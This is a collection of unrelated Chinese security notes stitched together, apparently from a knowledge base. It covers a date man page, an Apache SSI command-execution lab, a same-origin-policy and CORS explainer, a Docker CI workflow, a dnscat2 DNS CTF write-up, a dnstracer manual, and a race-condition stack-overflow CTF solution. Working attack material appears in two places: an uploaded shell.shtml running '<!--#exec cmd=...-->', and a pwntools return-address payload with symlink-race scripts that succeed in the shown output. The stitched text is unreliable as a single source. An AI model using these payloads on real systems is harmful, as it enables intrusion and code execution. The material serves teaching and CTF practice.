默认情况下,date 输出的数字字段以 0 填充。以下可选的标志可以跟在 "%" 后:
.TP
\-
(连字符)不填充该字段
.TP
_
(下划线)以空格填充
.TP
0
(数字 0)以 0 填充
.TP
+
以 0 填充,并且在超过四位数的未来年份之前添加 "+" 符号
.TP
^
如果可能,使用大写形式
.TP
#
如果可能,使用相反的大小写
.PP
在任何标志之后可以有一个可选的字段宽度,它是一个十进制数字;然后是一个可选的修饰符,它可以是 E,表示如果可用,使用区域设置的另一种表示法,或者
O,表示如果可用,使用区域设置的另一套数字符号。
.SH 范例
将 Epoch (1970\-01\-01 UTC) 以来的秒数转换为日期
.IP
\f(CW$ date \-\-date='@2147483647'\fP
.PP
显示美国西海岸的当前时间(请使用 tzselect(1) 来查询 TZ 的具体数值)
.IP
\f(CW$ TZ='America/Los_Angeles' date\fP
.PP
显示美国西海岸下个周五上午 9 时的当地时间
.IP
\f(CW$ date \-\-date='TZ="America/Los_Angeles" 09:00 next Fri'\fP
.SH 日期字符串
.\" NOTE: keep this paragraph in sync with the one in touch.x
“\-\-date=字符串”选项中的的字符串可以是人类易于理解阅读的日期字符串,例如 "Sun, 29 Feb 2004 16:21:42 \-0800" 或
"2004\-02\-29 16:21:42",甚至可以是 "next
Thursday"。一个日期字符串可能包含表示日历日期、一日中的具体时间、时区、星期、相对时间、相对日期和数字的信息。一个空字符串表示当日的起始。日期字符串的具体格式较为复杂,在手册页中难以简单描述清楚,但是您可以在
info 文档中找到完整内容。
.SH 作者
由 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/date>
.br
或者在本地使用: info \(aq(coreutils) date invocation\(aq
|
sec-knowleage
|
# Apache SSI 远程命令执行漏洞
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用`<!--#exec cmd="id" -->`语法执行任意命令。
参考链接:
- https://httpd.apache.org/docs/2.4/howto/ssi.html
- https://www.w3.org/Jigsaw/Doc/User/SSI.html
## 漏洞环境
运行一个支持SSI与CGI的Apache服务器:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080/upload.php`,即可看到一个上传表单。
## 漏洞复现
正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件:
```shtml
<!--#exec cmd="ls" -->
```

成功上传,然后访问shell.shtml,可见命令已成功执行:

|
sec-knowleage
|
# 同源策略(SOP)
> Same origin policy
---
## 什么是SOP
同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说 Web 是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。
它的核心就在于它认为自任何站点装载的信赖内容是不安全的。当被浏览器半信半疑的脚本运行在沙箱时,它们应该只被允许访问来自同一站点的资源,而不是那些来自其它站点可能怀有恶意的资源。
浏览器的同源策略,限制了来自不同源的“document”或脚本,对当前“document”读取或设置某些属性。
| URL | 同源检测结果 |
| - | - |
| 域名(IP)、协议、端口相同 | 成功 |
| 协议不同 | 失败 |
| 端口不同 | 失败 |
| 域名(IP)不同 | 失败 |
另外,同源策略又分为以下两种:
- DOM 同源策略:禁止对不同源页面 DOM 进行操作。这里主要场景是 iframe 跨域的情况,不同域名的 iframe 是限制互相访问的。
- XMLHttpRequest 同源策略:禁止使用 XHR 对象向不同源的服务器地址发起 HTTP 请求。
**为什么要有跨域限制**
因为存在浏览器同源策略,所以才会有跨域问题。跨域限制主要的目的就是为了用户的上网安全。
如果浏览器没有同源策略,会存在什么样的安全问题呢。下面从 DOM 同源策略和 XMLHttpRequest 同源策略来举例说明:
如果没有 DOM 同源策略,也就是说不同域的 iframe 之间可以相互访问,那么黑客可以这样进行攻击:
- 做一个假网站,里面用 iframe 嵌套一个银行网站 http://mybank.com。
- 把 iframe 宽高啥的调整到页面全部,这样用户进来除了域名,别的部分和银行的网站没有任何差别。
- 这时如果用户输入账号密码,我们的主网站可以跨域访问到 http://mybank.com 的 dom 节点,就可以拿到用户的账户密码了。
如果没有 XMLHttpRequest 同源策略,那么黑客可以进行 CSRF(跨站请求伪造) 攻击:
- 用户登录了自己的银行页面 http://mybank.com,http://mybank.com 向用户的 cookie 中添加用户标识。
- 用户浏览了恶意页面 http://evil.com,执行了页面中的恶意 AJAX 请求代码。
- http://evil.com 向 http://mybank.com 发起 AJAX HTTP 请求,请求会默认把 http://mybank.com 对应 cookie 也同时发送过去。
- 银行页面从发送的 cookie 中提取用户标识,验证用户无误,response 中返回请求数据。此时数据就泄露了。
- 而且由于 Ajax 在后台执行,用户无法感知这一过程。
---
## 跨域的解决方法
**业务环境中一些跨域场景**
1. 比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。
2. 程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送 ajax 请求,请求另外一个页面的内容的时候,就会跨域。
3. 电商网站想通过用户浏览器加载第三方快递网站的物流信息。
4. 子站域名希望调用主站域名的用户资料接口,并将数据显示出来。
### CORS(跨域资源共享)
CORS(Cross-origin resource sharing,跨域资源共享)是一个 W3C 标准,定义了在必须访问跨域资源时,浏览器与服务器应该如何沟通。CORS 背后的基本思想,就是使用自定义的 HTTP 头部让浏览器与服务器进行沟通,从而决定请求或响应是应该成功,还是应该失败。
CORS 需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE 浏览器不能低于 IE10。
整个 CORS 通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS 通信与同源的 AJAX 通信没有差别,代码完全一样。浏览器一旦发现 AJAX 请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。
因此,实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口,就可以跨源通信。
浏览器将 CORS 请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。
只要同时满足以下两大条件,就属于简单请求。
1. 请求方法是以下三种方法之一:
- HEAD
- GET
- POST
2. HTTP的头信息不超出以下几种字段:
- Accept
- Accept-Language
- Content-Language
- Last-Event-ID
- Content-Type:只限于三个值 application/x-www-form-urlencoded、multipart/form-data、text/plain
凡是不同时满足上面两个条件,就属于非简单请求。
浏览器对这两种请求的处理,是不一样的。
**简单请求**
在请求中需要附加一个额外的 Origin 头部,其中包含请求页面的源信息(协议、域名和端口),以便服务器根据这个头部信息来决定是否给予响应。例如:Origin: http://www.xxx.cn
如果服务器认为这个请求可以接受,就在 Access-Control-Allow-Origin 头部中回发相同的源信息(如果是公共资源,可以回发 * )。例如:Access-Control-Allow-Origin:http://www.xxx.cn
没有这个头部或者有这个头部但源信息不匹配,浏览器就会驳回请求。正常情况下,浏览器会处理请求。注意,请求和响应都不包含 cookie 信息。
如果需要包含 cookie 信息,ajax 请求需要设置 xhr 的属性 withCredentials 为 true,服务器需要设置响应头部 Access-Control-Allow-Credentials: true。
**非简单请求**
浏览器在发送真正的请求之前,会先发送一个 Preflight 请求给服务器,这种请求使用 OPTIONS 方法,发送下列头部:
- Origin:与简单的请求相同。
- Access-Control-Request-Method: 请求自身使用的方法。
- Access-Control-Request-Headers: (可选)自定义的头部信息,多个头部以逗号分隔。
例如:
```
Origin: http://www.xxx.cn
Access-Control-Request-Method: POST
Access-Control-Request-Headers: NCZ
```
发送这个请求后,服务器可以决定是否允许这种类型的请求。服务器通过在响应中发送如下头部与浏览器进行沟通:
- Access-Control-Allow-Origin:与简单的请求相同。
- Access-Control-Allow-Methods: 允许的方法,多个方法以逗号分隔。
- Access-Control-Allow-Headers: 允许的头部,多个方法以逗号分隔。
- Access-Control-Max-Age: 应该将这个 Preflight 请求缓存多长时间(以秒表示)。
- Access-Control-Allow-Credentials: 是否允许请求带有验证信息,这部分将会在下面详细解释
- Access-Control-Expose-Headers: 允许脚本访问的返回头,请求成功后,脚本可以在 XMLHttpRequest 中访问这些头的信息(貌似 webkit 没有实现这个)
例如:
```
Access-Control-Allow-Origin: http://www.xxx.cn
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: NCZ
Access-Control-Max-Age: 1728000
```
一旦服务器通过 Preflight 请求允许该请求之后,以后每次浏览器正常的 CORS 请求,就都跟简单请求一样了。
**优点**
- CORS 通信与同源的 AJAX 通信没有差别,代码完全一样,容易维护。
- 支持所有类型的 HTTP 请求。
**缺点**
- 存在兼容性问题,特别是 IE10 以下的浏览器。
- 第一次发送非简单请求时会多一次请求。
---
### JSONP 跨域
由于 script 标签不受浏览器同源策略的影响,允许跨域引用资源。因此可以通过动态创建 script 标签,然后利用 src 属性进行跨域,这也就是 JSONP 跨域的基本原理。
直接通过下面的例子来说明 JSONP 实现跨域的流程:
```js
// 1. 定义一个 回调函数 handleResponse 用来接收返回的数据
function handleResponse(data) {
console.log(data);
};
// 2. 动态创建一个 script 标签,并且告诉后端回调函数名叫 handleResponse
var body = document.getElementsByTagName('body')[0];
var script = document.gerElement('script');
script.src = 'http://www.xxxx.com/json?callback=handleResponse';
body.appendChild(script);
// 3. 通过 script.src 请求 `http://www.xxxx.com/json?callback=handleResponse`,
// 4. 后端能够识别这样的 URL 格式并处理该请求,然后返回 handleResponse({"name": "xxxx"}) 给浏览器
// 5. 浏览器在接收到 handleResponse({"name": "xxxx"}) 之后立即执行 ,也就是执行 handleResponse 方法,获得后端返回的数据,这样就完成一次跨域请求了。
```
**优点**
- 使用简便,没有兼容性问题,目前最流行的一种跨域方法。
**缺点**
- 只支持 GET 请求。
- 由于是从其它域中加载代码执行,因此如果其他域不安全,很可能会在响应中夹带一些恶意代码。
- 要确定 JSONP 请求是否失败并不容易。虽然 HTML5 给 script 标签新增了一个 onerror 事件处理程序,但是存在兼容性问题。
---
### HTML 标签跨域
`<script>` `<img>` `<iframe>` `<link>` 等带 src 属性的标签都可以跨域加载资源,而不受同源策略的限制。
每次加载时都会由浏览器发送一次 GET 请求,通过 src 属性加载的资源,浏览器会限制 JavaScript 的权限,使其不能读写返回的内容。
常见标签:
```html
<script src="..."></script>
<img src="...">
<video src="..."></video>
<audio src="..."></audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe>
<link rel="stylesheet" href="...">
<applet code="..."></applet>
<object data="..." ></object>
```
直接通过下面的例子来说明通过标签实现跨域的流程:
```js
var img = new Image();
// 通过 onload 及 onerror 事件可以知道响应是什么时候接收到的,但是不能获取响应文本
img.onload = img.onerror = function() {
console.log("Done!");
}
// 请求数据通过查询字符串形式发送
img.src = 'http://www.xxxx.cn/test?name=xxx';
```
在 CSS 中,@font-face 可以引入跨域字体。
```css
<style type="text/css">
@font-face {
src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
}
</style>
```
**优点**
- 用于实现跟踪用户点击页面或动态广告曝光次数有较大的优势。
**缺点**
- 只支持 GET 请求。
- 只能浏览器与服务器的单向通信,因为浏览器不能访问服务器的响应文本。
---
### 服务器代理
浏览器有跨域限制,但是服务器不存在跨域问题,所以可以由服务器请求所有域的资源再返回给客户端。
---
### document.domain 跨域
对于主域名相同,而子域名不同的情况,可以使用 document.domain 来跨域。这种方式非常适用于 iframe 跨域的情况。
比如,有一个页面,它的地址是 http://www.xxx.cn/a.html,在这个页面里面有一个 iframe,它的 src 是 http://xxx.cn/b.html。很显然,这个页面与它里面的 iframe 框架是不同域的,所以我们是无法通过在页面中书写 js 代码来获取 iframe 中的东西的。
这个时候,document.domain 就可以派上用场了,我们只要把 http://www.xxx.cn/a.html 和 http://xxx.cn/b.html 这两个页面的 document.domain 都设成相同的域名就可以了。但要注意的是,document.domain 的设置是有限制的,我们只能把 document.domain 设置成自身或更高一级的父域,且主域必须相同。例如:a.b.xxx.cn 中某个文档的 document.domain 可以设成 a.b.xxx.cn、b.xxx.cn 、xxx.cn 中的任意一个,但是不可以设成 c.a.b.xxx.cn ,因为这是当前域的子域,也不可以设成 baidu.com,因为主域已经不相同了。
例如,在页面 http:/localhost/a.php 中设置 document.domain:
```html
<iframe src="http://localhost:81/b.php" id="iframepage" width="100%" height="100%" frameborder="0" scrolling="yes" onLoad="getData"></iframe>
<script>
window.parentDate = {
"name": "hello world!",
"age": 18
}
/**
* 使用document.domain解决iframe父子模块跨域的问题
*/
let parentDomain = window.location.hostname;
console.log("domain",parentDomain); //localhost
document.domain = parentDomain;
</script>
```
在页面 http://localhost:81/b.php 中也设置 document.domain
```html
<script>
/**
* 使用document.domain解决iframe父子模块跨域的问题
*/
console.log(document.domain); //localhost
let childDomain = document.domain;
document.domain = childDomain;
let parentDate = top.parentDate;
console.log("从父域获取到的数据",parentDate);
// 此处打印数据为
// {
// "name": "hello world!",
// "age": 18
// }
</script>
```
---
### window.name 跨域
window 对象有个 name 属性,该属性有个特征:即在一个窗口(window)的生命周期内,窗口载入的所有的页面(不管是相同域的页面还是不同域的页面)都是共享一个 window.name 的,每个页面对 window.name 都有读写的权限,window.name 是持久存在一个窗口载入过的所有页面中的,并不会因新页面的载入而进行重置。
假设我们有3个页面,
- a.com/index.html
- a.com/empty.html
- b.com/index.html
1. 在 a.com/index.html 页面中嵌入一个 iframe,设置 src 为 b.com/index.html
2. b.com/index.html 载入后,设置 window.name,然后再使用 location.href='a.com/empty.html' 跳转到与 iframe 外页面同域的页面中。
3. 在 a.com/index.html 页面中,就可以通过 $('iframe').contentWindow.name 来获取 iframe 内页面 a.com/empty.html 的window.name 值了,而这个值正是 b.com/index.html 设置的。
通过下面的例子介绍如何通过 window.name 来跨域获取数据的。
页面 http://www.xxx.cn/a.html 的代码:
```html
<iframe src="http://xxx.cn/b.html" id="myIframe" onload="test()" style="display: none;">
<script>
// 2. iframe载入 "http://xxx.cn/b.html 页面后会执行该函数
function test() {
var iframe = document.getElementById('myIframe');
// 重置 iframe 的 onload 事件程序,
// 此时经过后面代码重置 src 之后,
// http://www.xxx.cn/a.html 页面与该 iframe 在同一个源了,可以相互访问了
iframe.onload = function() {
var data = iframe.contentWindow.name; // 4. 获取 iframe 里的 window.name
console.log(data); // hello world!
};
// 3. 重置一个与 http://www.xxx.cn/a.html 页面同源的页面
iframe.src = 'http://www.xxx.cn/c.html';
}
</script>
```
页面 http://xxx.cn/b.html 的代码:
```html
<script type="text/javascript">
// 1. 给当前的 window.name 设置一个 http://www.xxx.cn/a.html 页面想要得到的数据值
window.name = "hello world!";
</script>
```
---
### window.postMessage 跨域
window.postMessage(message,targetOrigin) 方法是 HTML5 新引进的特性,可以使用它来向其它的 window 对象发送消息,无论这个 window 对象是属于同源或不同源。这个应该就是以后解决 dom 跨域通用方法了。
调用 postMessage 方法的 window 对象是指要接收消息的那一个 window 对象,该方法的第一个参数 message 为要发送的消息,类型只能为字符串;第二个参数 targetOrigin 用来限定接收消息的那个 window 对象所在的域,如果不想限定域,可以使用通配符 *。
需要接收消息的 window 对象,可是通过监听自身的 message 事件来获取传过来的消息,消息内容储存在该事件对象的 data 属性中。
页面 http://www.xxx.cn/a.html 的代码:
```html
<iframe src="http://xxx.cn/b.html" id="myIframe" onload="test()" style="display: none;">
<script>
// 1. iframe载入 "http://xxx.cn/b.html 页面后会执行该函数
function test() {
// 2. 获取 http://xxx.cn/b.html 页面的 window 对象,
// 然后通过 postMessage 向 http://xxx.cn/b.html 页面发送消息
var iframe = document.getElementById('myIframe');
var win = iframe.contentWindow;
win.postMessage('我是来自 http://www.xxx.cn/a.html 页面的消息', '*');
}
</script>
```
页面 http://xxx.cn/b.html 的代码:
```html
<script type="text/javascript">
// 注册 message 事件用来接收消息
window.onmessage = function(e) {
e = e || event; // 获取事件对象
console.log(e.data); // 通过 data 属性得到发送来的消息
}
</script>
```
---
### location.hash 跨域
location.hash 方式跨域,是子框架修改父框架 src 的 hash 值,通过这个属性进行传递数据,且更改 hash 值,页面不会刷新。但是传递的数据的字节数是有限的。
a.html 欲与 b.html 跨域相互通信,通过中间页 c.html 来实现。 三个页面,不同域之间利用 iframe 的 location.hash 传值,相同域之间直接 js 访问来通信。
具体实现步骤:一开始 a.html 给 b.html 传一个 hash 值,然后 b.html 收到 hash 值后,再把 hash 值传递给 c.html,最后 c.html 将结果放到 a.html 的 hash 值中。
页面 http://www.xxx.cn/a.html 的代码:
```html
<iframe src="http://xxx.cn/b.html" id="myIframe" onload="test()" style="display: none;">
<script>
// 2. iframe载入 "http://xxx.cn/b.html 页面后会执行该函数
function test() {
// 3. 获取通过 http://xxx.cn/b.html 页面设置 hash 值
var data = window.location.hash;
console.log(data);
}
</script>
```
页面 http://xxx.cn/b.html 的代码:
```html
<script type="text/javascript">
// 1. 设置父页面的 hash 值
parent.location.hash = "world";
</script>
```
---
### flash
flash 有自己的一套安全策略,服务器可以通过 crossdomain.xml 文件来声明能被哪些域的 SWF 文件访问,SWF 也可以通过 API 来确定自身能被哪些域的 SWF 加载。
- [跨域策略文件](./文件.md#跨域策略文件)
- https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html
---
## Source & Reference
- [浏览器同源策略及跨域的解决方法](https://juejin.im/post/6844903681683357710)
- [同源策略那些事](https://xz.aliyun.com/t/6614)
|
sec-knowleage
|
name: Publish Docker image
on:
push:
branches:
- 'main'
jobs:
push_to_registry:
name: Push Docker image to Docker Hub
runs-on: ubuntu-latest
steps:
- name: Check out the repo
uses: actions/checkout@v2
- name: Log in to Docker Hub
uses: docker/login-action@v1
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Extract metadata (tags, labels) for Docker
id: meta
uses: docker/metadata-action@v3
with:
images: teamssix/twiki
- name: Build and push Docker image
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
|
sec-knowleage
|
# DNS
## 简介
`DNS` 通常为 `UDP` 协议,报文格式
```sh
+-------------------------------+
| 报文头 |
+-------------------------------+
| 问题 (向服务器提出的查询部分) |
+-------------------------------+
| 回答 (服务器回复的资源记录) |
+-------------------------------+
| 授权 (权威的资源记录) |
+-------------------------------+
| 额外的 (额外的资源记录) |
+-------------------------------+
```
查询包只有头部和问题两个部分, `DNS` 收到查询包后,根据查询到的信息追加回答信息、授权机构、额外资源记录,并且修改了包头的相关标识再返回给客户端。
每个 `question` 部分
```
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| |
/ QNAME /
/ /
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QTYPE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QCLASS |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
```
- `QNAME` :为查询的域名,是可变长的,编码格式为:将域名用.号划分为多个部分,每个部分前面加上一个字节表示该部分的长度,最后加一个 `0` 字节表示结束
- `QTYPE` :占 `16` 位,表示查询类型,共有 `16` 种,常用值有:`1` ( `A` 记录,请求主机 `IP` 地址)、`2` ( `NS` ,请求授权 `DNS` 服务器)、`5` ( `CNAME` 别名查询)
## 例题
> 题目:`BSides San Francisco CTF 2017` : `dnscap.pcap`
我们通过 `wireshark` 打开发现全部为 `DNS` 协议,查询名为大量字符串`([\w\.]+)\.skullseclabs\.org`
我们通过 `tshark -r dnscap.pcap -T fields -e dns.qry.name > hex`提取后,利用 `python` 转码:
```python
import re
find = ""
with open('hex','rb') as f:
for i in f:
text = re.findall(r'([\w\.]+)\.skull',i)
if text:
find += text[0].replace('.','')
print find
```
我们发现了几条关键信息:
```
Welcome to dnscap! The flag is below, have fun!!
Welcome to dnscap! The flag is below, have fun!!
!command (sirvimes)
...
IHDR
gAMA
bKGD
pHYs
IHDR
gAMA
bKGD
pHYs
tIME
IDATx
...
2017-02-01T21:04:00-08:00
IEND
console (sirvimes)
console (sirvimes)
Good luck! That was dnscat2 traffic on a flaky connection with lots of re-transmits. Seriously,
Good luck! That was dnscat2 traffic on a flaky connection with lots of re-transmits. Seriously, d[
good luck. :)+
```
`flag` 确实包含在其中,但是有大量重复信息,一是应为`question` 。在 `dns` 协议中查询和反馈时都会用到,` -Y "ip.src == 192.168.43.91"`进行过滤后发现还是有不少重复部分。
```
%2A}
%2A}
%2A}q
%2A}x
%2A}
IHDR
gAMA
bKGD
pHYs
tIME
IDATx
HBBH
CxRH!
C1%t
ceyF
i4ZI32
rP@1
ceyF
i4ZI32
rP@1
ceyF
i4ZI32
rP@1
ceyF
i4ZI32
rP@1
```
根据发现的 `dnscat` 找到 https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md 这里介绍了 `dnscat` 协议的相关信息,这是一种通过 `DNS` 传递数据的变种协议,题目文件中应该未使用加密,所以直接看这里的数据块信息
```
MESSAGE_TYPE_MSG: [0x01]
(uint16_t) packet_id
(uint8_t) message_type [0x01]
(uint16_t) session_id
(uint16_t) seq
(uint16_t) ack
(byte[]) data
```
在`qry.name`中去除其余字段,只留下 `data` 快,从而合并数据,再从 `16` 进制中检索`89504e.....6082`提取`png`,得到 `flag` 。
```python
import re
find = []
with open('hex','rb') as f:
for i in f:
text = re.findall(r'([\w\.]+)\.skull',i)
if text:
tmp = text[0].replace('.','')
find.append(tmp[18:])
last = []
for i in find:
if i not in last:
last.append(i)
print ''.join(last)
```
*flag*
## 相关题目
- [IceCTF-2016:Search](https://mrpnkt.github.io/2016/icectf-2016-search/)
- [EIS-2017:DNS 101](https://github.com/susers/Writeups/blob/master/2017/EIS/Misc/DNS%20101/Write-up.md)
## 参考文献
- https://github.com/lisijie/homepage/blob/master/posts/tech/dns%E5%8D%8F%E8%AE%AE%E8%A7%A3%E6%9E%90.md
- https://xpnsec.tumblr.com/post/157479786806/bsidessf-ctf-dnscap-walkthrough
|
sec-knowleage
|
---
title: dnstracer
categories: Information Gathering
tags: [dns,kali linux,dnstracer,information gathering,recon]
date: 2016-10-21 09:37:00
---
0x00 dnstracer介绍
-------------
dnstracer用于获取给定主机名从给定域名服务器(DNS)的信息,并跟随DNS服务器链得到权威结果。
工具来源:http://www.mavetju.org/unix/general.php
[dnstracer主页][1] | [Kali dnstracer Repo仓库][2]
- 作者:Edwin Groothuis
- 证书:BSD
0x01 dnstracer功能
---------------
dnstracer - 跟踪到源的DNS查询工具
```shell
root@kali:~# dnstracer
DNSTRACER version 1.8.1 - (c) Edwin Groothuis - http://www.mavetju.org
用法: dnstracer [选项] [主机名]
-c: 禁用本地缓存,默认启用
-C: 启用负缓存,默认禁用
-o: 启用返回结果的概述,默认禁用
-q <querytype>: DNS请求查询类型,默认为A
-r <retries>: DNS请求的重试次数,默认值3
-s <server>: 使用此服务器的初始请求,默认localhost,如果指定将使用A.ROOT-SERVERS.NET
-t <maximum timeout>: 限制每次尝试等待的时间
-v: 显示详细
-S <ip address>: 使用这个IP作为源地址
-4: 不查询IPv6服务器
```
<!--more-->
0x02 dnstracer用法示例
-----------------
```shell
root@kali:~# dnstracer -q mx -r 1 -t 10 -v www.harvard.edu
Tracing to www.harvard.edu[#mx] via 192.168.219.2, maximum of 1 retries
192.168.219.2 (192.168.219.2) IP HEADER
- Destination address: 192.168.219.2
DNS HEADER (send)
- Identifier: 0x351F
- Flags: 0x00 (Q )
- Opcode: 0 (Standard query)
- Return code: 0 (No error)
- Number questions: 1
- Number answer RR: 0
- Number authority RR: 0
- Number additional RR: 0
QUESTIONS (send)
- Queryname: (3)www(7)harvard(3)edu
- Type: 15 (unknown)
- Class: 1 (Internet)
DNS HEADER (recv)
- Identifier: 0x351F
- Flags: 0x8080 (R RA )
- Opcode: 0 (Standard query)
- Return code: 0 (No error)
- Number questions: 1
- Number answer RR: 1
- Number authority RR: 5
- Number additional RR: 4
QUESTIONS (recv)
- Queryname: (3)www(7)harvard(3)edu
- Type: 15 (unknown)
- Class: 1 (Internet)
ANSWER RR
- Domainname: (3)www(7)harvard(3)edu
- Type: 5 (CNAME)
- Class: 1 (Internet)
- TTL: 5 (5s)
- Resource length: 36
- Resource data: (3)www(7)harvard(3)edu(3)cdn(10)cloudflare(3)net
AUTHORITY RR
- Domainname: (10)cloudflare(3)net
- Type: 2 (NS)
- Class: 1 (Internet)
- TTL: 5 (5s)
- Resource length: 6
- Resource data: (3)ns3(10)cloudflare(3)net
AUTHORITY RR
- Domainname: (10)cloudflare(3)net
- Type: 2 (NS)
- Class: 1 (Internet)
- TTL: 5 (5s)
- Resource length: 6
- Resource data: (3)ns2(10)cloudflare(3)net
AUTHORITY RR
- Domainname: (10)cloudflare(3)net
- Type: 2 (NS)
- Class: 1 (Internet)
- TTL: 5 (5s)
- Resource length: 6
- Resource data: (3)ns1(10)cloudflare(3)net
AUTHORITY RR
- Domainname: (10)cloudflare(3)net
- Type: 2 (NS)
- Class: 1 (Internet)
- TTL: 5 (5s)
- Resource length: 6
- Resource data: (3)ns5(10)cloudflare(3)net
AUTHORITY RR
- Domainname: (10)cloudflare(3)net
- Type: 2 (NS)
- Class: 1 (Internet)
- TTL: 5 (5s)
- Resource length: 6
- Resource data: (3)ns4(10)cloudflare(3)net
ADDITIONAL RR
- Domainname: (3)ns3(10)cloudflare(3)net
- Type: 28 (unknown)
- Class: 1 (Internet)
- TTL: 5 (5s)
- Resource length: 16
- Resource data: 2400:cb00:2049:0001:0000:0000:c629:de1f
ADDITIONAL RR
- Domainname: (3)ns3(10)cloudflare(3)net
- Type: 1 (A)
- Class: 1 (Internet)
- TTL: 5 (5s)
- Resource length: 4
- Resource data: 198.41.222.31
ADDITIONAL RR
- Domainname: (3)ns2(10)cloudflare(3)net
- Type: 28 (unknown)
- Class: 1 (Internet)
- TTL: 5 (5s)
- Resource length: 16
- Resource data: 2400:cb00:2049:0001:0000:0000:c629:de83
ADDITIONAL RR
- Domainname: (3)ns2(10)cloudflare(3)net
- Type: 1 (A)
- Class: 1 (Internet)
- TTL: 5 (5s)
- Resource length: 4
- Resource data: 198.41.222.131
Got answer [received type is cname]
|\___ ns3.cloudflare.net [cloudflare.net] (2400:cb00:2049:0001:0000:0000:c629:de1f) IP HEADER
- Destination address: XXX
DNS HEADER (send)
- Identifier: 0x303A
- Flags: 0x00 (Q )
- Opcode: 0 (Standard query)
- Return code: 0 (No error)
- Number questions: 1
- Number answer RR: 0
- Number authority RR: 0
- Number additional RR: 0
QUESTIONS (send)
- Queryname: (3)www(7)harvard(3)edu
- Type: 15 (unknown)
- Class: 1 (Internet)
send_data/sendto: Network is unreachable
```
[1]: http://freshmeat.net/projects/dnstracer
[2]: http://freshmeat.net/projects/dnstracer
|
sec-knowleage
|
# 题目
## 构造例子
### 源代码
源代码如下
```c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
void showflag() { system("cat flag"); }
void vuln(char *file, char *buf) {
int number;
int index = 0;
int fd = open(file, O_RDONLY);
if (fd == -1) {
perror("open file failed!!");
return;
}
while (1) {
number = read(fd, buf + index, 128);
if (number <= 0) {
break;
}
index += number;
}
buf[index + 1] = '\x00';
}
void check(char *file) {
struct stat tmp;
if (strcmp(file, "flag") == 0) {
puts("file can not be flag!!");
exit(0);
}
stat(file, &tmp);
if (tmp.st_size > 255) {
puts("file size is too large!!");
exit(0);
}
}
int main(int argc, char *argv[argc]) {
char buf[256];
if (argc == 2) {
check(argv[1]);
vuln(argv[1], buf);
} else {
puts("Usage ./prog <filename>");
}
return 0;
}
```
### 分析
可以看出程序的基本流程如下
- 检查传入的命令行参数是不是 “flag”,如果是的话,就退出。
- 检查传入的命令行参数对应的文件大小是否大于 255,是的话,就直接退出。
- 将命令行参数所对应的文件内容读入到 buf 中 ,buf 的大小为 256。
看似我们检查了文件的大小,同时 buf 的大小也可以满足对应的最大大小,但是这里存在一个条件竞争的问题。
如果我们在程序检查完对应的文件大小后,将对应的文件删除,并符号链接到另外一个更大的文件,那么程序所读入的内容就会更多,从而就会产生栈溢出。
### 基本思路
那么,基本思路来了,我们是想要获得对应的`flag`的内容。那么我们只要通过栈溢出修改对应的`main`函数的返回地址即可,通过反汇编以及调试可以获得`showflag`的地址,获得对应的payload
```python
➜ racetest cat payload.py
from pwn import *
test = ELF('./test')
payload = 'a' * 0x100 + 'b' * 8 + p64(test.symbols['showflag'])
open('big', 'w').write(payload)
```
对应两个条件竞争的脚本为
```sh
➜ racetest cat exp.sh
#!/bin/sh
for i in `seq 500`
do
cp small fake
sleep 0.000008
rm fake
ln -s big fake
rm fake
done
➜ racetest cat run.sh
#!/bin/sh
for i in `seq 1000`
do
./test fake
done
```
其中 exp 用于来竞争在相应的窗口内删除 fake 文件,同时执行符号链接。run 用来执行程序。
### 具体效果
```shell
➜ racetest (sh exp.sh &) && sh run.sh
[...]
file size is too large!!
open file failed!!: No such file or directory
open file failed!!: No such file or directory
open file failed!!: No such file or directory
open file failed!!: No such file or directory
file size is too large!!
open file failed!!: No such file or directory
open file failed!!: No such file or directory
flag{race_condition_succeed!}
[...]
```
其中成功的关键在于对应的 `sleep` 的时间选择。
## 参考
- http://www.cnblogs.com/biyeymyhjob/archive/2012/07/20/2601655.html
- http://www.cnblogs.com/huxiao-tee/p/4660352.html
- https://github.com/dirtycow/dirtycow.github.io
|
sec-knowleage
|
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
